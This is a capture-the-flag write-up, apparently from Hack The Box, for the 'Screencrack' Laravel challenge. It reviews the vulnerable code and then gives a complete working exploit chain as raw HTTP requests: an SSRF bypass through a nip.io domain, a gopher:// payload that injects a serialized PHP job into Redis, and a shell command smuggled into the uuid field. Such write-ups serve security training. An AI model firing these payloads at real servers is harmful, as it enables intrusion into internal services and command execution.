Challenge Screencrack
This challenge consists of a Laravel web application that accepts a URL and returns either a screenshot or the raw HTML of that URL, and the solution consists of abusing a Server-Side Request Forgery (SSRF) vulnerability via a DNS rebinding bypass, utilizing the Gopher protocol for Redis queue injection, and triggering OS command injection to copy the flag to a publicly accessible location.
Code Review
Accessing the challenge source code reveals the URL validation logic within the SiteShotController.php file. The application attempts to prevent local requests by checking if the host is a local IP address.
$ cat challenge/app/Http/Controllers/SiteShotController.php
...
private function validateUrl($url) {
$parsedUrl = parse_url($url);
if (!isset($parsedUrl['host'])) {
return false;
}
if ($this->isValidIPv4($parsedUrl['host']) && $this->isLocalIP($parsedUrl['host'])) {
return false;
}
if (!$this->isValidDomain($parsedUrl['host'])) {
return false;
}
return true;
}
...
This validation logic is flawed because it only triggers when the host is a raw IPv4 address. A domain name that resolves to 127.0.0.1 will successfully bypass this check.
Further investigation of SiteShotService.php confirms that curl is executed without protocol restrictions.
$ cat challenge/app/Services/SiteShotService.php
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
...
file_put_contents($filenameLocal, $response);
...
Since there are no protocol restrictions enforced by curl, the Gopher protocol is available for exploitation.
Examining FileQueue.php reveals the command injection point. The application executes a system command to delete files using an unsanitized uuid field.
$ cat challenge/app/Message/FileQueue.php
...
public function deleteFile()
{
$filepath = $this->buildFilePath();
system("echo '".$this->uuid."'>>halo");
system("rm ".$filepath);
}
...
Neither the uuid nor the resulting filepath undergo proper sanitization before being passed to the system function. The file path is constructed by concatenating a directory path, the uuid, a dot, and an extension.
$ cat challenge/app/Message/FileQueue.php
...
$filename = $this->uuid.".".$this->ext;
...
$this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]);
By utilizing a service like nip.io, which resolves IP addresses via DNS, it is possible to craft a bypass URL. Submitting http://127.0.0.1.nip.io circumvents the IPv4 check in the controller.
POST /api/get-html HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Content-Type: application/json
Content-Length: 34
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
{"site":"http://127.0.0.1.nip.io"}
The server processes the request and returns a valid file path, confirming the SSRF vulnerability.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:25:15 GMT
Server: Apache/2.4.59 (Unix)
X-Powered-By: PHP/8.1.22
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 81
{
"status": "success",
"filename": "\/src\/a469a095-492b-4b9d-b95b-552842d0e6e6.txt"
}
The objective is to inject a malicious job into the Redis queue that will execute arbitrary commands upon deserialization. The payload needs to be a serialized PHP object targeting the rmFile job, encapsulating the OS command injection within the uuid field. The command must copy the flag to the publicly accessible /www/public/src directory. To deliver this payload, a Gopher URL is crafted with URL-encoded RESP (REdis Serialization Protocol) commands to push the job onto the laravel_database_queues:default list.
gopher://127.0.0.1.nip.io:6379/_%2A3%0D%0A%245%0D%0ARPUSH%0D%0A%2431%0D%0Alaravel_database_queues%3Adefault%0D%0A%24603%0D%0A%7B%22uuid%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22displayName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22job%22%3A%22Illuminate%5C%5CQueue%5C%5CCallQueuedHandler%40call%22%2C%22maxTries%22%3Anull%2C%22maxExceptions%22%3Anull%2C%22failOnTimeout%22%3Afalse%2C%22backoff%22%3Anull%2C%22timeout%22%3Anull%2C%22retryUntil%22%3Anull%2C%22data%22%3A%7B%22commandName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22command%22%3A%22O%3A15%3A%5C%22App%5C%5CJobs%5C%5CrmFile%5C%22%3A1%3A%7Bs%3A9%3A%5C%22fileQueue%5C%22%3BO%3A21%3A%5C%22App%5C%5CMessage%5C%5CFileQueue%5C%22%3A3%3A%7Bs%3A8%3A%5C%22filePath%5C%22%3Bs%3A56%3A%5C%22%2Fwww%2Fpublic%2Fsrc%2Fx%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B.txt%5C%22%3Bs%3A4%3A%5C%22uuid%5C%22%3Bs%3A36%3A%5C%22x%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B%5C%22%3Bs%3A3%3A%5C%22ext%5C%22%3Bs%3A3%3A%5C%22txt%5C%22%3B%7D%7D%22%7D%2C%22id%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22attempts%22%3A0%7D%0D%0A%2A3%0D%0A%247%0D%0APUBLISH%0D%0A%2438%0D%0Alaravel_database_queues%3Adefault%3Anotify%0D%0A%241%0D%0A1%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A
Submitting this payload to the /api/get-html endpoint causes curl to interact directly with the internal Redis instance on port 6379.
POST /api/get-html HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Content-Type: application/json
Content-Length: 1248
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
{"site":"gopher://127.0.0.1.nip.io:6379/_%2A3%0D%0A%245%0D%0ARPUSH%0D%0A%2431%0D%0Alaravel_database_queues%3Adefault%0D%0A%24603%0D%0A%7B%22uuid%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22displayName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22job%22%3A%22Illuminate%5C%5CQueue%5C%5CCallQueuedHandler%40call%22%2C%22maxTries%22%3Anull%2C%22maxExceptions%22%3Anull%2C%22failOnTimeout%22%3Afalse%2C%22backoff%22%3Anull%2C%22timeout%22%3Anull%2C%22retryUntil%22%3Anull%2C%22data%22%3A%7B%22commandName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22command%22%3A%22O%3A15%3A%5C%22App%5C%5CJobs%5C%5CrmFile%5C%22%3A1%3A%7Bs%3A9%3A%5C%22fileQueue%5C%22%3BO%3A21%3A%5C%22App%5C%5CMessage%5C%5CFileQueue%5C%22%3A3%3A%7Bs%3A8%3A%5C%22filePath%5C%22%3Bs%3A56%3A%5C%22%2Fwww%2Fpublic%2Fsrc%2Fx%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B.txt%5C%22%3Bs%3A4%3A%5C%22uuid%5C%22%3Bs%3A36%3A%5C%22x%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B%5C%22%3Bs%3A3%3A%5C%22ext%5C%22%3Bs%3A3%3A%5C%22txt%5C%22%3B%7D%7D%22%7D%2C%22id%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22attempts%22%3A0%7D%0D%0A%2A3%0D%0A%247%0D%0APUBLISH%0D%0A%2438%0D%0Alaravel_database_queues%3Adefault%3Anotify%0D%0A%241%0D%0A1%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A"}
The application responds with the filename containing the output generated by the Redis service.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:25:54 GMT
Server: Apache/2.4.59 (Unix)
X-Powered-By: PHP/8.1.22
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 58
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 81
{
"status": "success",
"filename": "\/src\/f6832611-e4f6-47da-8c1b-0e008cf77f68.txt"
}
Retrieving this file verifies that the commands were executed successfully by Redis.
GET /src/f6832611-e4f6-47da-8c1b-0e008cf77f68.txt HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
The output returned corresponds to the successful completion of the RPUSH, PUBLISH, and QUIT commands, indicating the malicious job is now staged in the Redis queue.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:29:56 GMT
Server: Apache/2.4.59 (Unix)
Last-Modified: Wed, 01 Jul 2026 16:25:54 GMT
ETag: "d-6558f2545b092"
Accept-Ranges: bytes
Content-Length: 13
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
:3
:0
+OK
The application relies on a worker process that executes jobs periodically. Once the execution interval is reached, the worker consumes the malicious payload from the queue and triggers the OS command injection. This operation successfully copies the flag into the /www/public/src directory as flag.txt. Accessing the newly created file over HTTP extracts the flag.
GET /src/flag.txt HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
The flag is contained in the server's response, confirming the complete compromise of the system.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:33:36 GMT
Server: Apache/2.4.59 (Unix)
Last-Modified: Wed, 01 Jul 2026 16:33:34 GMT
ETag: "1b-6558f40ad1bb3"
Accept-Ranges: bytes
Content-Length: 27
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
HTB{FLAG}